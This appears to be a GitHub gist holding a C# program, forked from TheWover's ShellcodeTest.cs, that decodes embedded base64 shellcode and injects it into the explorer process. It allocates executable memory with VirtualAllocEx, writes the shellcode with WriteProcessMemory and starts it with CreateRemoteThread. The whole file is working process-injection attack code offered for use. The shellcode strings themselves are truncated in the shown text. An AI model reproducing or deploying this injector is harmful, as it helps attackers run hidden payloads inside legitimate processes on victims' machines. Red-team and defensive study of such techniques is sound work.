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@lesnuages
Forked from TheWover/ShellcodeTest.cs
Created January 21, 2019 12:36
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Dirty but working C# remote shell code injector. Injects into explorer using the architecture of the platform. Modified from several random sources and cleaned up a bit.
/* Author: TheWover
Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls.
Last Modified: 11/1/2018
*/
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ShellcodeTest
{
public class Program
{
static string x64 = @"/OjBA...v/V";
static string x86 = @"/OmKA...==";
static string target = "explorer";
static void Main(string[] args)
{
Inject(x86, x64, target);
}
public Program()
{
Inject(x86, x64, target);
}
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;
const uint PAGE_EXECUTE_READWRITE = 0x40;
public static int Inject(string x86, string x64, string procName)
{
string s;
if (IntPtr.Size == 4)
{
s = x86;
}
else
{
s = x64;
}
byte[] shellcode = Convert.FromBase64String(s);
Process targetProcess = Process.GetProcessesByName(procName)[0];
Console.WriteLine(targetProcess.Id);
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
UIntPtr bytesWritten;
WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten);
CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
return 0;
}
}
}
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